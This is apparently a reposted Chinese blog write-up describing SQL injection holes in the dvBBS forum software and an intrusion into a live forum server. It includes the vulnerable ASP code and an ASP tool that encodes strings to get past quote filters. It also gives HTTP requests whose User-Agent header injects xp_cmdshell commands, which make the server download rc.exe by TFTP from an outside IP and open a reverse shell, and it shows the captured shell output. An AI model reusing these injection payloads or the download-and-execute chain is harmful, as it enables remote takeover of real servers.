动网论坛dvBBS漏洞及入侵一则
内容: Hacking/Cracking的道路总是艰辛的…… 常常看到的文章是写某人多么牛逼,一路视各种障碍如草芥,势如破竹的攻破某台 服务器 ,我一直怀疑这是小说的手法,因为我在做的时候总是磕磕碰碰,简单问题都会弄很久,这不,比如对bbs.xxxxxxxx.com的攻击就是
内容:
Hacking/Cracking的道路总是艰辛的……
常常看到的文章是写某人多么牛逼,一路视各种障碍如草芥,势如破竹的攻破某台
服务器,我一直怀疑这是小说的手法,因为我在做的时候总是磕磕碰碰,简单问题都会弄很久,这不,比如对bbs.xxxxxxxx.com的攻击就是。
接到这个任务是什么时候我都忘了,反正有一天南阳岩冰叫我看看他的
论坛,我稀里糊涂的就答应下来,但是隔了好多天才想到要去看看。那天过去一看,哈哈,很眼熟的论坛嘛,就是叫什么名字我忘了,厚着脸皮在QQ上问了一下,才知道是大名鼎鼎的动网论坛,呵呵,怪不得满地都是。
然后我到网上去找动网论坛的漏洞文章,找到后我又突然懒得去看了,就算有人家也补上了吧,看了也白搭,不如省下点时间作毕设。
又过了几天,论文实在是写不下去,于是去网上下了一个动网的最新版的论坛来看代码,看啊看的就睡着了……
醒过来的时候,口水把键盘都弄湿掉了,管理员说宿舍要消毒,又叫我们快走,匆匆忙忙的只好拷到优盘带到学校朋友的机器上去看。在学校折腾了一个多小时,终于眼睛一亮,bbseven.asp中有这么一段:
if request("act")="删除" then
if request.form("lid")="" then
founderr=true
Errmsg=Errmsg+"
"+"<li>请指定相关事件。"
else
lid=replace(request.Form("lid"),"‘","")
end if
end if
if founderr then exit sub
if request("act")="删除" then
conn.execute("delete from log where l_id in ("&lid&")")
当时我的心律就到了120,我不知道lid是xxxx);drop table admin;--时是怎样,上面那个replace是不是太轻率?马上我就想到可以给自己的论文里面加500字以上了(刚好我的论文也有关于
SQL Injection的部分),于是我就在论文里面添了一段
SQL Injection Without Quotation Mark,并在接下来的两天内好好的研究了一下。嗯,结果做了一个小的.asp,贴出来看看啊,反正大概的意思就是比如‘AB‘完全可以用char(65)+char(66)表示,大家有意见发到n.e.v.e.r@tom.com给我好了。
======================= Cut Here =======================
<html>
<body bgcolor=black>
<font size=2 color=#ff7777>填上SQL语句!</font>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="in" size=45 value="" style="color:#0099FF;BORDER-BOTTOM: #0099FF 1px solid; BORDER-LEFT: #0099FF 1px solid; BORDER-RIGHT: #0099FF 1px solid; BORDER-TOP: #0099FF 1px solid; FONT-SIZE: 9pt;BACKGROUND-COLOR: #000000">
<input type=submit value="Encode!" style="FONT-SIZE: 9pt;BORDER-RIGHT: 0px solid; BORDER-TOP: 0px solid; BORDER-LEFT: 0px solid; BORDER-BOTTOM: 0px solid; BACKGROUND-COLOR:#0099FF;COLOR:#ff0000;">
</FORM>
<font color=#0099ff>
<%
LINK_CHAR = "+" ‘字符串连接符号是+吗?
strIn=Request("in")
strIn = strIn & "--"
strTemp = split(strIn,"‘")
i = 0
‘On Error Resume Next
Do while NOT IsNull(strTemp(i))
If InStr(strTemp(i),"--") Then
Exit Do
End if
i = i + 2
Loop
‘response.write i
For j = 0 To i - 1 Step 2
strOut = strOut & strTemp(j)
For k = 0 To len(strTemp(j+1))-1
strOut = strOut & "char(" & asc(left(right(strTemp(j+1),len(strTemp(j+1))-k),1))&")" & LINK_CHAR
Next
strOut = left(strOut, len(strOut)-len(LINK_CHAR))
Next
If InStr(strTemp(i), "--")<>0 Then
strOut = strOut & left(strTemp(i), InStr(strTemp(i), "--") - 1)
End if
response.write strOut
%>
======================= Cut Here =======================
我不知道我找的这个地方是不是确实是漏洞,因为没有办法去
测试,我总不能去求南阳岩冰给我一个管理员权限来删日志吧,那还不如直接要计算机的账号好了。总之就是磨蹭了这么久,只给我的论文加了633个字而已。
还是不甘心,于是又继续作论文,做到再一次做不下去时,又来看代码。
呵呵,又给我找到有问题的地方了,char.asp中有这么一段话:
sql="ShowHOT_COM_inst_online_char 2,"&statuserid&",‘"&membername&"‘,‘"&memberclass&"‘,‘"&Request.ServerVariables("REMOTE_HOST")&"‘,"&boardid&",‘"&Request.ServerVariables("HTTP_USER_AGENT")&"‘,‘"&replace(stats,"‘","")&"‘,‘"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"‘,"&UserGroupID&",‘"&actCome&"‘,"&userhidden&","&userid&""
Request.ServerVariables("HTTP_USER_AGENT")之类的是用户浏览器提交的,不见得老老实实的就是IE啊什么。动网的那些人该不是把这个留作后门的吧?
我用F3搜索包含这段后门代码的函数activeonline(),找到了很多,我选了一个boardhelp.asp来
测试。为了调试方便,我改了一下char.asp,添加了一些输出,当然,是inc目录下面的char.asp,另外的char.asp都是骗人的。
测试成功后我马上拨号上网(测试成功已经是好几个小时后的事情了),告诉南阳岩冰有问题然后建了一张表,留言后就下网了。
等了两天都没有反应,我想还是进去看看吧,我就再次拨号上网,这次不是建表这么简单了,我要得到最高权限才罢休。我设计好了一整套方案,先修改管理员的密码,再登陆上传文件,得到shell后提升权限,哈哈,是不是很完美啊?
我觉得人要乐观一点,于是我想先试试MSSQL存储过程能不能调用,下面是简单的过程,简直是异乎寻常的顺利啊。嗯,十八岁以下的小朋友就不要看了,免得犯罪。
NC到bbs.xxxxxxxx.com的80口,提交如下的请求
GET /boardhelp.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: 1‘,‘1‘,‘1‘,2,‘c‘,1);exec master.dbo.xp_cmdshell ‘tftp -i 61.155.251.70 get rc.exe‘;--
Host: bbs.xxxxxxxx.com
Connection: Keep-Alive
Cookie: iscookies=0; ASPSESSIONIDGGQGQTDQ=IILFJNDALPMLEMDLCKKFFMJG
我开了TFTP服务的,我想成功的话它会从我的机器上
下载一个rc.exe,这是我写的一个小东西,不会被查杀的。然后我断线再拨(因为如果BBS在Online表中查到了你的IP的话,就不会执行到有问题的那一句了),在本机监听1102端口,再次连接到bbs.xxxxxxxx.com,提交
GET /boardhelp.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: 1‘,‘1‘,‘1‘,2,‘c‘,1);exec master.dbo.xp_cmdshell ‘rc.exe 61.155.250.193 1102‘;--
Host: bbs.xxxxxxxx.com
Connection: Keep-Alive
Cookie: iscookies=0; ASPSESSIONIDGGQGQTDQ=IILFJNDALPMLEMDLCKKFFMJG
NC开始反应了,呵呵
D:hack>nc -l -p 1102
The shell is now!
Microsoft
Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:WINNTsystem32>ipconfig /all
ipconfig /all
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : dns
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : HP 10/100TX PCI Ethernet Driver
Physical Address. . . . . . . . . : 00-30-6E-36-57-AA
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : ★.★.★.★
Subnet Mask . . . . . . . . . . . : ★.★.★.★
Default Gateway . . . . . . . . . : ★.★.★.★
DNS Servers . . . . . . . . . . . : ★.★.★.★
★.★.★.★
哇哈哈哈……我刚要进一步动作,结果突然上网卡没钱断掉了,看来我天生命就不该做坏事,shit!
嗯,到这里基本上是顺利的攻破了吧。其实实际的情况是很惨不忍睹的,我前后拨号上网十几次,中间断线,打错字符,还有之前的安装MSSQL失败,IIS出问题,断电,看错代码空高兴十几秒钟等等等等。不过写的时候还是只把主要的过程写出来,要是要去写整个过程的话,估计一篇长篇叙事小说就会诞生了。
原文转自:http://www.ltesting.net
|